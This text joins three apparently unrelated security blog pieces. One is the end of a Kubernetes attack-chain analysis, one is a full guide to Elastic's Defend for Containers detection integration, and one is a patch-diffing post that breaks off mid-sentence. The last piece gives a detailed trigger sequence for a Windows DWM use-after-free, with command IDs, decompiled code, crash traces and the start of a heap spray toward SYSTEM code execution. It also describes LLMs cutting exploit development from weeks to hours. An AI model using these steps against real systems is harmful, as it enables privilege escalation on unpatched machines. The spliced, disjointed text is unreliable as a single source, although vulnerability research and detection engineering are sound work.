• C2 Infrastructure: Deployment of tunneling tools gost and frpc under /opt/teampcp, with a SOCKS5 proxy listening on port 1081
• Impact: A decoded and staged /tmp/miner binary: the cryptojacking objective

The attack chain visualization maps the correlated alerts across the full MITRE ATT\&CK kill chain, from Initial Access through to Impact, with confirmed activity in Execution, Privilege Escalation, Defense Evasion, Discovery, and Command & Control.

This is the payoff of combining D4C runtime telemetry with Kubernetes audit logs. Neither data source alone would produce this picture: container runtime sees the curl | bash, the gost process, and the miner binary, while the audit logs capture the DaemonSet creation, the RBAC abuse, and the API enumeration. Attack Discovery fuses both into a single narrative that a SOC analyst can act on immediately, without manually stitching together alerts across different indices and timeframes.

Conclusion

Across this attack chain, we observed a consistent pattern. Interactive execution within containers led to environment discovery, lateral movement via Kubernetes APIs, attempts at persistence in locations inconsistent with container design, installation of runtime tooling, tunneling activity, reconstruction of encoded payloads, and, finally, resource monetization. Each objective produced distinct runtime signals.

Defend for Containers’ value lies in surfacing these signals with the container and orchestration context attached. Process lineage, capability metadata, interactive execution flags, file modification telemetry, and container identity together allow detections to move beyond simple command matching and instead reason about intent and impact.

This scenario also highlights an important architectural boundary. While D4C provides deep runtime visibility inside containers, certain escalation steps, such as privileged workload creation or control-plane manipulation, require Kubernetes audit log telemetry for full visibility. Effective cloud-native detection, therefore, depends on combining runtime and control-plane data sources.

In the next phase of this series, we will extend this model beyond the container boundary and explore Kubernetes control-plane detection engineering, correlating audit logs with D4C runtime events to detect multi-stage attacks that span workloads, nodes, and the cluster itself.

Linux systems remain a critical foundation for modern infrastructure, particularly in cloud-native environments where containers and orchestration platforms are the norm. As workloads move from long-lived hosts to ephemeral containers, attacker tradecraft shifts as well. Activity that once left persistent artifacts on disk is increasingly confined to short-lived, runtime behavior that can be difficult to capture using traditional log sources.

Detection engineering in these environments, therefore, depends heavily on runtime visibility. Understanding how processes execute inside containers, how files are accessed, and how workloads interact with the host becomes more important than relying on static indicators or post-incident artifacts.

Elastic provides several Linux-focused telemetry sources to support this type of detection work. In earlier posts in this series, we focused on host-level visibility using Auditd and Auditd Manager, showing how low-level system events can be translated into high-fidelity detections. In this post, the focus shifts to Elastic’s Defend for Containers: a runtime security integration built specifically for containerized Linux workloads.

The goal of this article is not to document every Defend for Containers feature, but to provide a practical starting point for detection engineers: what data the integration produces and how to reason about that data. In the next part, we will look into how it can be applied to realistic container attack scenarios.

Streamlined visibility with Defend for Containers

We are excited to announce the arrival of Defend for Containers in the 9.3.0 release. This integration brings a streamlined approach to container security, offering a strong foundation for visibility in cloud-native infrastructures. Users can leverage a suite of detection rules tailored to defend against modern Kubernetes threats and container-specific vulnerabilities. The arrival of Defend for Containers is accompanied by a container-specific detection ruleset, designed around realistic container and Kubernetes threat models.

At the time of writing, the Defend for Containers ruleset provides baseline coverage for common container attack techniques, including reconnaissance activity, credential access attempts, kubelet attacks, service account token abuse, interactive process execution, file creation and modification, interpreter abuse, encoded payload execution, tooling installation, tunneling behavior, and multiple privilege escalation vectors. Importantly, all existing container- and Kubernetes-specific detection rules have been made compatible with Defend for Containers, allowing previously host-centric logic to operate directly on container runtime telemetry.

This makes Defend for Containers a practical and immediately usable data source for Linux detection engineers focused on behavior-driven runtime detection. The remainder of this post focuses on how that telemetry looks in practice and how it can be applied to real-world container attack scenarios.

Introduction to Defend for Containers

Defend for Containers is a runtime security integration that provides visibility into Linux containers as they execute. Instead of relying on static image scanning or post-execution logs, it focuses on observing container behavior in real time.

At a high level, Defend for Containers captures security-relevant runtime events from running containers, such as process execution and file access. These events are enriched with container and orchestration context and shipped into Elasticsearch, where they can be analyzed and used as input for detection rules.

From a detection engineering perspective, Defend for Containers sits at the intersection of traditional Linux behavior and the container context. Processes, syscalls, and file activity remain core signals, but they are now scoped to containers, namespaces, and workloads that may only exist briefly.

Defend for Containers is deployed as part of the Elastic Agent and integrates directly with Elastic Security. Once enabled, it provides a dedicated stream of container runtime events that can be queried using KQL or ES|QL, or consumed directly by detection analytics. This allows detection engineers to apply familiar analysis techniques while accounting for the operational realities of cloud-native workloads.

In the sections that follow, we will examine Defend for Containers events in more detail and walk through several container attack scenarios to illustrate how this data can be used in practice.

Defend for Containers setup

Before you can take advantage of Defend for Containers' runtime visibility and analytics, you need to deploy the integration and configure a policy that defines which events to observe and what actions to take when matching activity is encountered. More information about the integration and its setup can be found here. At a high level, this setup consists of:

1. Deploying the Defend for Containers integration via Elastic Agent in your Kubernetes environment.
2. Configuring or customizing the Defend for Containers policy, which consists of selectors that define which operations to match and responses that define what actions to take.
3. Validating and refining the policy based on observed workload behavior.

Deployment methods

Defend for Containers is delivered as an Elastic Agent integration and relies on Elastic Agent to collect and forward container runtime telemetry into your Elastic Stack. For Kubernetes workloads, you install the integration via the Elastic Security UI and then enroll agents on your cluster nodes.

The basic deployment flow is:

In the Elastic Security UI, navigate to Fleet and create a new Agent Policy (or add the integration to an existing one). Once the Agent Policy is created, we can add the “Defend for Containers” integration to the policy.

Give the integration a name and optionally adjust the default selectors and responses (we will look into the available options further down in this publication). Once “Add integration” is selected, a new Agent Policy with the correct integration should be available.

For this demonstration, we will leverage the Kubernetes deployment method. To deploy this policy to a workload, we can navigate to Actions → Add agent → Kubernetes. Here, we see instructions for copying or downloading the Kubernetes manifest.

An important note to be aware of is: “Note that the following manifest contains resource limits that may not be appropriate for a production environment. Review our guide on Scaling Elastic Agent on Kubernetes before deploying this manifest.”

You will need to include the following capabilities under securityContext in your Kubernetes YAML for the service to work:

securityContext:
    runAsUser: 0
    capabilities:
      add:
        - BPF ## Enables both BPF & eBPF
        - PERFMON
        - SYS_RESOURCE

After copying or downloading the provided elastic-agent-managed-kubernetes.yml manifest, you can edit the manifest as needed, and apply the manifest with:

kubectl apply -f elastic-agent-managed-kubernetes.yml

As also mentioned in the manifest, review the guide “Run Elastic Agent on Kubernetes managed by Fleet” for more deployment information.

Wait for the Elastic Agent pods to schedule and for data to begin flowing into Elasticsearch.

Once deployed, Elastic Agent will establish a connection to Fleet, enroll under the selected policy, and begin emitting Defend for Containers telemetry that Elastic Security can consume.

In the next section, we will take a look at the integration configuration options and explore which features are available to use.

Defend for Containers policies

At the heart of Defend for Containers' configuration is the policy. Policies determine what activity to observe and how to respond when matching events occur. Policies are composed of two fundamental building blocks:

• Selectors: define which events are of interest by specifying operations and conditions;
• Responses: define what actions to take when a selector’s conditions are met.

Defend for Containers policies can be edited before deployment or modified post-deployment via the Elastic Security UI’s policy editor.

Policy structure

Each policy must contain at least one selector and at least one response. A typical selector specifies one or more operations (such as process events or file activities) and uses conditions (like container image name, namespace, or pod label) to narrow the scope. Responses reference selectors and indicate what action to take when events match.

The default Defend for Containers policy includes two selector-response pairs: “Threat Detection” and “Drift Detection & Prevention”.

Threat detection: A selector named allProcesses matches all fork and exec events from containers.

And the associated response has the action set to Log, ensuring that events are ingested and can be analyzed.

Drift detection & prevention: A selector named executableChanges matches createExecutable and modifyExecutable operations.

And the response is configured to create alerts (and can be modified to block those operations).

These can be modified via the UI, but under the hood, these policies are simple YAML configuration files that can be easily modified and used in any CI|CD flows:

process:
  selectors:
    - name: allProcesses
      operation:
        - fork
        - exec
  responses:
    - match:
        - allProcesses
      actions:
        - log
file:
  selectors:
    - name: executableChanges
      operation:
        - createExecutable
        - modifyExecutable
  responses:
    - match:
        - executableChanges
      actions:
        - alert

Next, we will take a look at some example selectors and responses and discuss the options you have for setting up the integration to your liking.

Example selector snippet

Selectors allow fine-grained matching using conditions on fields such as:

• containerImageFullName: full image names like docker.io/nginx;
• containerImageName: partial image names;
• containerImageTag: specific tags like latest;
• kubernetesClusterId: Kubernetes cluster IDs;
• kubernetesClusterName: Kubernetes cluster names;
• kubernetesNamespace: namespaces where the workload runs;
• kubernetesPodName: pod names, with support for trailing wildcards;
• kubernetesPodLabel: label key/value pairs, with wildcard support.

selectors:
  - name: nodeExports
    file:
      operations:
        - createExecutable
        - modifyExecutable
      containerImageName:
        - "nginx"
      kubernetesNamespace:
        - "production"

In this example, the selector named nodeExports matches file events that create or modify executables within containers whose image names contain “nginx” and whose Kubernetes namespace begins with "production".

Example response snippet

Responses determine what happens when selector conditions are met. Common actions include:

• log: send the event as telemetry for analysis;
• alert: create an alert in Elastic Security;
• block: prevent the operation (for supported types).

responses:
  - name: alertAndBlockNodeExports
    matchSelectors:
      - nodeExports
    actions:
      - alert
      - block

Here, the response named alertAndBlockNodeExports references the previously defined nodeExports selector and will both generate an alert and block the operation.

Wildcards and matching

Selectors in Defend for Containers support trailing wildcards in string-based conditions (such as pod names or image tags). This allows broad matching without enumerating every possible value. The following fields do support wildcard matching:

• For file selectors: kubernetesPodName, kubernetesPodLabel and targetFilePath.
• For process selectors: kubernetesPodName, kubernetesPodLabel, processName and processExecutable.

For example, a kubernetesPodName selector of backend-* will match all pods whose names begin with backend-, while a kubernetesPodLabel condition such as role:api* matches label values that start with api.

This wildcarding is essential in dynamic environments where workloads scale and shift rapidly.

In addition to simple string matching, Defend for Containers selectors also support path-based wildcard semantics when matching file paths. Consider the following selector example:

- name:
  targetFilePath:
    - /usr/bin/echo
    - /usr/sbin/*
    - /usr/local/**

In this example:

• /usr/bin/echo matches only the echo binary at that exact path.
• /usr/sbin/* matches everything that is a direct child of /usr/sbin.
• /usr/local/** matches everything recursively under /usr/local, including paths such as /usr/local/bin/something.

These distinctions make it possible to precisely scope file-based selectors, balancing coverage and noise. In practice, they allow detection engineers to target specific binaries, entire directories, or deep directory trees, depending on the use case, without resorting to overly permissive rules.

Tying it all together

Up to this point, we have looked at Defend for Containers selectors, wildcard semantics, event types, and how they surface attacker behavior at runtime. The final step is to understand how these pieces come together within a policy to express real detection logic.

Consider the following policy fragment:

file:
  selectors:
    - name: binDirExeMods
      operation:
        - createExecutable
        - modifyExecutable
      targetFilePath:
        - /usr/bin/**
    - name: etcFileChanges
      operation:
        - createFile
        - modifyFile
        - deleteFile
      targetFilePath:
        - /etc/**
    - name: nginx
      containerImageName:
        - nginx

  responses:
    - match:
        - binDirExeMods
        - etcFileChanges
      exclude:
        - nginx
      actions:
        - alert
        - block

This policy defines three selectors. Two selectors (binDirExeMods and etcFileChanges) describe file system activity of interest, while the third selector (nginx) describes a container context to exclude.

The response section ties these selectors together. The selectors listed under match are logically OR’d, meaning that either condition is sufficient to trigger the response. The selector listed under exclude acts as a logical NOT, removing matching events when the container image is nginx.

Read in plain language, the policy expresses the following logic:

If an executable is created or modified anywhere under /usr/bin, or a file is created, modified, or deleted under /etc, and the activity does not originate from an nginx container, then generate an alert and block the action.

In Boolean form, this can be expressed as:

IF (binDirExeMods OR etcFileChanges) AND NOT nginx
→ alert + block

This is where Defend for Containers policies become powerful. Rather than writing complex detection logic in a query language, selectors let you decompose behavior into small, reusable building blocks and then combine them declaratively. By mixing path-based selectors, operation types, container context, and exclusions, you can express nuanced detection logic that remains readable and maintainable.

In practice, this model allows detection engineers to translate threat hypotheses directly into policy logic: what behavior matters, where it occurs, in which workloads, and what should happen when it does.

Policy validation and refinement

Once a policy is deployed, it is critical to validate it against real workload behavior before enabling aggressive responses such as blocking. Policies that are too restrictive can disrupt normal container operations; policies that are too permissive may let unwanted activity go unnoticed.

A recommended workflow is:

1. Deploy the default policy in monitoring mode (e.g., with selectors logging events).
2. Observe the events that appear in Elasticsearch to understand normal workload patterns.
3. Incrementally tighten selectors and responses, moving from log only → alert → block, testing at each stage.
4. Use a staging or test cluster to validate blocking behaviors before applying them in production.

Defend for Containers Beta limitations

As of writing, Defend for Containers is available as a Beta integration, and its current capabilities and platform support reflect that status.

Defend for Containers formally supports Amazon EKS and Google GKE. While the integration can be deployed on Azure AKS, this configuration is not officially supported. In particular, AKS deployments currently lack file event telemetry, which limits detection coverage for file-based attack techniques in those environments.

The current Beta also does not capture network events. As a result, detections related to outbound connections, lateral network movement, or data exfiltration must rely on complementary data sources, such as the Network Packet Capture integration or Packetbeat integrations, rather than on Defend for Containers telemetry alone.

For file activity, Defend for Containers intentionally logs file open events only when opened with write intent. This design choice reduces noise and focuses on behavior that modifies the system state. However, it also means that read-only access to sensitive files, such as secret discovery, configuration scraping, or failed access attempts, is not currently observable.

This limitation impacts detection use cases such as:

• Searching and reading Kubernetes service account tokens,
• Scanning for .env files or credential material.

These are areas where future Defend for Containers iterations may provide more granular telemetry to support advanced detection engineering use cases.

Enabling the Defend for Containers pre-built detection rules

Defend for Containers ships with a set of pre-built detection rules that provide baseline coverage for common container attack techniques. Once the integration is enabled, these rules can be activated directly from Elastic Security without additional configuration.

Enabling the pre-built rules is recommended as a starting point, as they are designed to align with Defend for Containers' runtime telemetry and cover execution, file modification, persistence, and post-compromise behavior inside containers. From there, the rules can be extended or refined to match environment-specific workloads and threat models.

By filtering for “Data Source: Elastic Defend for Containers”, you can find all rules associated with this integration.

Note: if you do not see any rules pop up, make sure your stack is running version 9.3.0, as these rules are deployed only on 9.3.0+.

With all important Beta limitations mapped, the integration deployed, the pre-built detection rules installed and enabled, and a working policy in place, the next step is to explore the event semantics Defend for Containers produces, including fields commonly used in detection logic, performance considerations, and how these events differ from Elastic Defend events.

Analyzing Defend for Containers events

Now that Defend for Containers is deployed and policies are in place, the next step is understanding the events it generates. Similar to working with Elastic Defend or Auditd Manager, Defend for Containers telemetry becomes far more valuable once you develop a mental model of how events are structured and which fields are most relevant for detection engineering.

Defend for Containers produces multiple event types, most notably process events and file events, each enriched with container, host, and orchestration context. While the underlying signals remain rooted in Linux behavior, the additional Kubernetes and container metadata enable you to reason about activity in ways not possible with host-only telemetry.

The following sections walk through the most important field groups and event types, using real Defend for Containers events as reference points.

Common fields

Before diving into specific event categories, it is useful to understand the fields that consistently appear across Defend for Containers telemetry. These fields provide the contextual glue that ties individual runtime actions back to policies, selectors, and the underlying execution points inside the kernel.

While process and file events differ in their details, the fields described below are present across Defend for Containers data streams and are often the first place to look when validating detections or troubleshooting policy behavior.

Defend for Containers-specific context

Defend for Containers adds several fields specific to how events are collected and policies are applied.

The cloud_defend.hook_point field indicates where in the kernel the event was captured. In the example shown, values such as tracepoint__sched_process_fork and tracepoint__sched_process_exec reveal that the event was generated from kernel tracepoints associated with process creation and execution.

The cloud_defend.matched_selectors field shows which selectors in the active policy matched the event. In the example, the value allProcesses indicates that this event matched a broad selector that captures all process activity. When tuning policies or investigating alerts, this field is essential for understanding why an event was captured.

The cloud_defend.package_policy_id and cloud_defend.package_policy_revision fields tie the event back to a specific Elastic Agent policy and its revision. This makes it possible to correlate events with configuration changes over time and to verify which version of a policy was active when the event occurred.

Event metadata

Defend for Containers events follow the Elastic Common Schema conventions and include standard event metadata that describes the activity's type and lifecycle.

The event.category field identifies the high-level type of activity, such as process or file, and is typically the first field used when filtering Defend for Containers data. The event.action field describes what occurred, for example, fork or exec for process activity, or open, creation, modification, and deletion for file events.

The event.type field adds lifecycle context, such as start for process execution, and is often used together with event.action to distinguish different phases of activity. The event.dataset field indicates the originating Defend for Containers data stream, such as cloud_defend.process, which is useful when building dataset-scoped queries or detections.

Additional metadata fields like event.id, event.ingested, and event.kind are primarily used for correlation, ordering, and troubleshooting rather than detection logic.

Host information

Defend for Containers events include full host context, similar to Elastic Defend and Auditd Manager. This makes it possible to correlate container runtime activity back to the underlying Kubernetes node.

The host.name field identifies the node on which the container is running, while host.os.* provides operating system details such as distribution and kernel version. The host.architecture field indicates the CPU architecture, which can be relevant when analyzing binary execution or kernel-specific behavior.

One particularly useful field is host.pid_ns_ino, which identifies the PID namespace. This field allows container activity to be correlated with host-level process and kernel telemetry, and is especially valuable when investigating container escape attempts or node-level impact.

This host context is critical when analyzing cloud-native attacks, as multiple containers often share the same host and kernel, and a container's runtime behavior can have implications beyond its boundaries.

Container and orchestrator context

Defend for Containers' primary strength lies in its container awareness. Every runtime event is enriched with container and orchestration metadata, allowing activity to be analyzed in the context of what is running, where it is running, and with which privileges.

At the container level, fields such as container.id and container.name uniquely identify the running container, while container.image.name, container.image.tag, and the image hash provide visibility into the workload’s origin and version. This is especially useful for distinguishing between expected utility images and unexpected or ad hoc workloads.

A key field for risk assessment is container.security_context.privileged. This field explicitly indicates whether a container is running in privileged mode. When privileged execution is combined with other signals such as interactive shells or broad Linux capabilities, the risk profile of any detected activity increases significantly.

Defend for Containers also enriches events with orchestration context. Fields such as orchestrator.cluster.name, orchestrator.namespace, and orchestrator.resource.name (typically the Pod name) tie runtime behavior back to Kubernetes workloads. Labels exposed via orchestrator.resource.label further allow detections to incorporate workload intent and ownership.

For detection engineering, this context enables precise scoping of detections to:

• specific namespaces (for example, kube-system),
• privileged or high-risk containers,
• workloads with sensitive labels,
• or known utility images such as netshoot, kubectl, or curl.

This layer of enrichment allows container-aware detection logic to be expressed directly, without having to infer intent indirectly from filesystem paths, cgroups, or namespace identifiers.

Process events

Process execution is one of the most important signal types that Defend for Containers provides. Process events capture fork, exec, and end activities within containers and expose detailed lineage information critical to understanding how execution unfolds at runtime.

Several fields are particularly important for detection engineering. The combination of process.name and process.executable identifies what was executed and from where, while process.args provides insight into how it was invoked. Fields such as process.pid, process.start, process.end, and process.exit_code describe the process lifecycle and are useful for timing analysis and execution-flow reconstruction. The process.entity_id provides a stable identifier that allows processes to be tracked across multiple related events.

Defend for Containers also captures rich ancestry information. Fields under process.parent.* describe the immediate parent process, making it possible to detect suspicious parent–child relationships such as shells spawned by unexpected binaries. In addition, process.entry_leader.* and process.session_leader.* provide higher-level anchors within the process tree.

Much like Elastic Defend, Defend for Containers models processes as a graph rather than isolated events. The entry leader is especially useful in container environments, as it often represents the initial process launched by the container runtime (for example, containerd, runc, or a shell specified as the container entrypoint). Anchoring detections to the entry leader allows process trees to be interpreted consistently, even when containers spawn many short-lived child processes.

Session leader fields provide additional context about interactive execution and session boundaries, helping distinguish background services from interactive or attacker-driven activity.

Together, these fields make it possible to express detection logic that goes beyond single executions and instead reasons about execution chains, lineage, and intent, which is essential for detecting real-world container attack techniques.

Capabilities and privilege context

One of the more powerful aspects of the Defend for Containers process events is the inclusion of Linux capability information. For each process, Defend for Containers exposes both the effective and permitted capability sets via:

• process.thread.capabilities.effective
• process.thread.capabilities.permitted

These fields describe what a process is actually allowed to do at runtime, independent of its user ID or container boundary.

In privileged containers, processes often expose a broad set of effective capabilities, including highly sensitive ones such as CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_PTRACE, CAP_SYS_RAWIO, and CAP_BPF. The presence of these capabilities significantly changes the risk profile of any executed command, as they enable actions that can directly impact the host kernel or other workloads.

From a detection engineering perspective, this context is critical. It allows detections to move beyond simple process-name matching and instead reason about impact. The same binary execution can have vastly different implications depending on whether it runs with a minimal capability set or with near-host-level privileges.

In practice, capability data enables detection engineers to:

• Identify suspicious tooling executed inside overly permissive containers.
• Correlate runtime behavior with dangerous capability combinations.
• Prioritize alerts based on actual exploitation potential rather than surface-level activity.

This becomes especially relevant to container breakout research, where the presence or absence of specific capabilities often determines whether an exploit is viable.

Interactive execution

The process.interactive field indicates whether a process is associated with an interactive session. In container environments, interactive execution is relatively rare for production workloads and often correlates strongly with post-compromise or hands-on-keyboard activity.

Defend for Containers exposes interactivity not only at the process level, but also across related execution contexts, including process.parent.interactive, process.entry_leader.interactive, and process.session_leader.interactive. This makes it possible to determine whether an entire execution chain is interactive, rather than relying on a single process flag in isolation.

Common examples of interactive execution within containers include spawning a bash or sh shell, running interactive utilities such as curl, kubectl, or busybox, or operator-driven reconnaissance within a compromised Pod. While these actions may be legitimate during debugging, they are uncommon in steady-state production workloads.

When combined with container image, namespace, and privilege context, interactive execution becomes a strong anomaly signal. It allows detection logic to distinguish between expected automated container behavior and activity more consistent with manual intervention or attacker-driven exploration.

File events

Defend for Containers file events capture filesystem activity inside containers, and are emitted for a variety of operations. Unlike traditional file integrity monitoring, these events are runtime-aware and scoped to container workloads, providing context about how and why file changes occur.

Defend for Containers can detect file activity such as file opens with write intent, content modifications, file creations, renames, permission changes, and deletions. By focusing on write-oriented operations, Defend for Containers emphasizes behavior that alters system state rather than passive file access.

This allows detection engineers to reason about file usage patterns at runtime, not just the result of a change.

Several fields are particularly important when building file-based detections. The file.path and file.name fields identify the affected file and its location, while file.extension can help distinguish binaries, scripts, and configuration files. The event.action and event.type fields describe what operation occurred and how it should be interpreted in the event lifecycle.

Together, these fields allow Defend for Containers to distinguish benign file access from suspicious modification patterns, such as writing binaries or changing permissions within sensitive directories.

Bringing it together

As with any other data source, Defend for Containers telemetry becomes truly valuable once you understand how to combine fields across the process, file, container, and orchestration domains. Rather than relying on static indicators, Defend for Containers enables detection engineering based on runtime behavior, privilege context, and workload identity.

Conclusion

Defend for Containers in Elastic Stack 9.3.0 includes container runtime detection as a core component of Linux detection engineering. It features a clear scope, a policy-driven configuration model, and runtime telemetry designed specifically for containerized workloads.

In this post, we examined how to deploy Defend for Containers, how its policy model is structured, and how runtime events are generated and enriched with container and orchestration context. We explored the structure of process and file events, capability metadata, interactive execution signals, and container-specific fields that allow detections to be expressed in a workload-aware manner.

The key takeaway is that effective container detection requires reasoning about runtime behavior in context: processes, file modifications, privileges, and workload identity must be evaluated together. Defend for Containers provides the necessary telemetry to make that possible.

In the next article, we will build on this foundation by walking through a realistic container attack scenario and demonstrating how Defend for Containers telemetry surfaces each stage of compromise in practice.

Patch diffing has long fascinated me. I think part of it has to do with the race against the clock, reversing, exploiting, and trying to attain that “1day” exploit status. For advanced Windows targets, Valentina Palmiotti and Ruben Boonen proved that this was already possible nearly 3 years ago. But, they are some of the world's most talented exploit devs. Can LLMs raise the capability floor for us mere mortals? Fortunately, and maybe a bit alarmingly, the answer is yes.

The Hunt

When the bulletin for the January 2026 Patch Tuesday dropped, I kicked off my search to identify one of the patched vulnerabilities, and (hopefully) develop a working exploit for it. Top on the target list were any vulnerabilities already known to be exploited in the wild. January patches included an in-the-wild information leak vulnerability in Desktop Window Manager (DWM), which caught my eye. It also included a second DWM vulnerability which could lead to local privilege escalation. Historically, DWM has been a popular target for local privilege escalation. Sometimes it can be tricky to identify the exact patched component, but for DWM, dwmcore.dll is always a safe bet.

After training Ghidra on the files and extracting BSim vectors for every function, it becomes quite easy to highlight the differences between them. Not to mention, many Microsoft-patched vulnerabilities come alongside new feature flags. Needless to say, Opus 4.5 made quick work of the diff and identified one of the vulnerabilities within minutes.

======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll 
======================================================================

----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
  dwmcore_vuln.dll                      dwmcore_patched.dll                        Sim  Jaccard
----------------------------------------------------------------------------------------------------
  FUN_1802e7842                         FUN_1802e7842                           0.1191   0.0632
  FUN_1802e92d6                         FUN_1802e92d6                           0.1470   0.0722
  FUN_1802e5faa                         FUN_1802e5faa                           0.1741   0.0769
  ~CDelegatedInkCanvas                  ~CDelegatedInkCanvas                    0.7556   0.6047
  GetBufferedOutputTransformed          GetBufferedOutputTransformed            0.7628   0.6154
  FrameStarted                          FrameStarted                            0.7833   0.6429
  ~CSynchronousSuperWetInk              ~CSynchronousSuperWetInk                0.8018   0.6667
  FUN_1802f5aa2                         FUN_1802f5aa2                           0.9127   0.8393
  FUN_1802f57d2                         FUN_1802f5d72                           0.9127   0.8393
======================================================================

From here, I have to say that the time to build a functional exploit was painfully slower than I would have hoped. I spent many long nights and weekends poking and prodding the model along. A lot of this came down to my own unfamiliarity with the bug class and subsystem. Eventually, we did prevail and get RCE from low privilege into DWM and to SYSTEM. In the process, I discovered multiple novel exploitation techniques, like the GetRECT spray, new gadget chains, and a DWM-to-SYSTEM path. However, with these techniques (and some other tooling) in hand and newer model releases like Opus 4.6, the time from discovering a UAF vulnerability in DWM to functional exploit dropped from 3 weeks to a matter of hours.

The Bug

The vulnerability is a Use-After-Free in CSynchronousSuperWetInk::~CSynchronousSuperWetInk. The destructor conditionally removes the object from CSuperWetInkManager based on the return value of IsSuperWetCompatible().

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    this->vtable = &_vftable_;
    bool bVar2 = IsSuperWetCompatible(this);
    if (bVar2) {
        CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
    }
    // ... cleanup continues
}

The vulnerable destructor in dwmcore.dll version 10.0.26100.7309.

IsSuperWetCompatible Condition

bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
    if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
        this->clipEntry != NULL && this->comObject != NULL) {
        return true;
    }
    return false;
}

The IsSuperWetCompatible condition in dwmcore.dll version 10.0.26100.7309.

The function returns true only when LookupMode equals 2, or notifier1 is set, AND both clipEntry and comObject are non-null.

The Bug

An attacker can:

1. Register a CSynchronousSuperWetInk with the manager (requires LookupMode=2 during Draw())
2. Change LookupMode to 0 via CMD_SET_PROPERTY
3. Trigger destruction via CMD_RELEASE_RESOURCE
4. IsSuperWetCompatible() returns FALSE → RemoveSource() is skipped
5. A dangling pointer remains in CSuperWetInkManager::localStrokesVector

When DWM later iterates this vector (e.g., in DirtyActiveInk), it dereferences the freed object's vtable, leading to controlled code execution.

The Fix

The patch adds a feature flag (Feature_1732988217). When enabled, RemoveSource() is called unconditionally, regardless of IsSuperWetCompatible(). This ensures the object is always properly unregistered from the manager during destruction, eliminating the dangling pointer.

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    *(undefined ***)this = &_vftable_;
    bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
    if (!bVar2) {
        bVar2 = IsSuperWetCompatible(this);
        if (!bVar2) goto LAB_1802a9b1a;  // Skip RemoveSource only if feature disabled AND !compatible
    }
    CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
    // ... cleanup continues
}

The fixed destructor in dwmcore.dll version 10.0.26100.7623.

The Exploit

The UAF can be triggered from a regular user-mode application via the DirectComposition API. The attack requires no special privileges.

Prerequisites

1. D3D11/DXGI Infrastructure: Create a D3D11 device with BGRA support and a swap chain for a visible window.
2. DirectComposition Device: Initialize via DCompositionCreateDevice() with the DXGI device.
3. NtDComposition Syscall Access: Hook or directly call NtDCompositionProcessChannelBatchBuffer and NtDCompositionCommitChannel via win32u.dll to inject raw batch buffer commands.

Trigger Sequence

Step 1: Create Ink Trail (Allocate CSynchronousSuperWetInk)

Query IDCompositionInkTrailDevice from the DirectComposition device, then call CreateDelegatedInkTrailForSwapChain() or CreateDelegatedInkTrail(). This allocates a CSynchronousSuperWetInk object (resource type 0xa8) in dwm.exe's heap.

Step 2: Create Visual and Set LookupMode=2

Inject batch buffer commands to:

1. Create a CSuperWetInkVisual (type 0xa5) with CMD_CREATE_RESOURCE (0x02)
2. Connect visual to ink source: CMD_SET_REFERENCE (0x10) with propId 0x34
3. Set LookupMode=2 on the ink source via CMD_SET_PROPERTY (0x0B) with propId 10
4. Connect to composition tree: CMD_SET_REFERENCE to handles 1 and 2 (composition target / marshaler) with propId 0x34

LookupMode=2 ensures IsSuperWetCompatible() returns TRUE during Draw(), which registers the object with CSuperWetInkManager::localStrokesVector.

Step 3: Render Frames to Register with Manager

Present multiple frames (IDXGISwapChain::Present) and commit DirectComposition changes. This triggers DWM's render loop, which calls into the ink infrastructure and registers the CSynchronousSuperWetInk pointer in the manager's internal vector.

Step 4: Set LookupMode=0 (Bypass Removal Check)

Inject CMD_SET_PROPERTY to change LookupMode to 0. Now IsSuperWetCompatible() will return FALSE because:

if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)

With LookupMode = 0 and no notifier, the first condition fails.

Step 5: Release Ink Trail (Create Dangling Pointer)

1. Disconnect visual references: CMD_SET_REFERENCE with refHandle=0 for all connections
2. Release the IDCompositionDelegatedInkTrail interface

When the destructor ~CSynchronousSuperWetInk runs:

• It calls IsSuperWetCompatible() which returns FALSE (LookupMode=0)
• RemoveSource() is SKIPPED
• The object is freed but its pointer remains in CSuperWetInkManager::localStrokesVector

Step 6: Trigger DirtyActiveInk (Use-After-Free)

Continue presenting frames and invalidating the window. DWM's composition loop calls CSuperWetInkManager::DirtyActiveInk(), which iterates localStrokesVector and dereferences the dangling pointer:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);

Crash Behavior

Without a heap spray, DWM crashes when accessing freed memory:

 # Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a

If the freed memory is reclaimed by another object (e.g., CInteractionTrackerScaleAnimation), the crash occurs at an unexpected vtable:

kd> dps rcx
00000201`fbef65f0  00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24

By controlling what data reclaims the freed allocation, an attacker can craft a fake vtable and achieve arbitrary code execution via the virtual call at vtable+0x50.

Heap Spray

To exploit the UAF, we must reclaim the freed CSynchronousSuperWetInk allocation with attacker-controlled data containing a fake vtable. This section documents the CRegionGeometry RECT buffer spray technique we refer to as GetRECT.

Target Object Properties

| Property | Value | | :---- | :---- | | Object | CSynchronousSuperWetInk | | Size | 0x120 (288 bytes) | | Allocator | DefaultHeap::AllocClear → GetProcessHeap() | | LFH Bucket | 34 (273-288 byte range) | | Slots per Subsegment | 57 |

Spray Primitive: CRegionGeometry RECT Buffer

The spray uses CRegionGeometry resources (type 0x81) with RECT array data:

